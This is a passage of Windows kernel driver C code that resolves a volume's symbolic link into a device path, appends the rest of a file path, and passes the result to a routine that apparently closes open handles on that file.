VolumeName.MaximumLength = LARGE_PATH * sizeof(WCHAR);

Status = ZwQuerySymbolicLinkObject(LinkHandle, &VolumeName, NULL);
ZwClose(LinkHandle);
if (!NT_SUCCESS(Status))
return Status;

RtlCopyMemory(&PathBuffer[VolumeName.Length / sizeof(WCHAR)],
&FilePath[2], PathByteLen - (sizeof(WCHAR) * 2));
RtlInitUnicodeString(&PathString, PathBuffer);

Status = CloseFileHandle(&PathString);

return Status;
}